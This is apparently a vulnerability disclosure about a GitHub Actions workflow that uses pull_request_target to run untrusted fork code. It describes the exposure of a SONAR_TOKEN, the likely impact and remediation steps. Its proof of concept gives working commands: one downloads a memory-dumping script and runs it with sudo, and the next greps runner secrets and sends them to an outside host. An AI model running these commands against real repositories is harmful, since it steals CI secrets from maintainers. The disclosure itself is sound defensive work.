CI Secret Exposure via Misuse of `pull_request_target` in GitHub Actions Workflows

Summary

The GitHub Actions workflow maven-pr-builder.yml in this repository uses the pull_request_target event while checking out and executing untrusted code from forked pull requests. This workflow runs with the security context of the base repository, including:

• SONAR_TOKEN

By crafting a malicious pull request, an attacker can exfiltrate the SONAR_TOKEN.

Details

1. Insecure use of pull_request_target

In multiple workflows:

on:
  pull_request_target:

pull_request_target runs in the context of the target repository, which means that the GITHUB_TOKEN is available.

This event is only safe if you do not run untrusted code from the PR. Here, the workflows do exactly that.

2. Checkout of attacker-controlled code

Every vulnerable workflow checks out the PR head commit:

- name: Checkout Code
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

3. Workflow executes untrusted code

The maven-pr-builder.yml workflow executes untrusted code:

run: xvfb-run ./mvnw clean verify org.sonarsource.scanner.maven:sonar-maven-plugin:sonar -Dsonar.host.url=https://sonarcloud.io -Dsonar.organization=iluwatar -Dsonar.projectKey=iluwatar_java-design-patterns -Dsonar.pullrequest.branch=$HEAD_REF -Dsonar.pullrequest.base=${{ github.base_ref }} -Dsonar.pullrequest.key=${{ github.event.pull_request.number }}

An attacker can inject a malicious code by changing the mvnw file.

See https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/

PoC

1. Fork the repository
2. Create a new branch
3. Replace everything in the mvnw file with the following code:

curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com

4. Create a pull request

Impact

An attacker can exfiltrate the SONAR_TOKEN. Usually, SONAR_TOKEN is a user token, so the attacker could:

• Get access to private repositories, if they can be accessed via the SonarCloud.
• Change the SonarCloud project settings, e.g. the project name, description, etc.
• Submit fake/poisoned analyses for the project (e.g., upload crafted metrics/issues), which can mislead PR decoration / quality gate status and spam analysis history.
• An attacker can use the token to run massive scans on unrelated code, consuming the organization's license quota and potentially blocking legitimate CI/CD pipelines.

Luckily, the GITHUB_TOKEN has only read permissions because of the permissions field.

Recommended Remediation

1. Stop using pull_request_target for untrusted code

For workflows that build, test, lint, or run code from PRs, switch:

on:
  pull_request_target:

to:

on:
  pull_request:

This ensures the workflow runs in the fork’s security context (no base repo secrets).

2. If retention of pull_request_target is necessary, secrets & checkout is required

Ensure it never checks out or executes untrusted PR code.
Use a safe-to-test label workflow, such as: verify-safe-to-test-label GitHub Action.

This ensures untrusted code is not executed with secrets.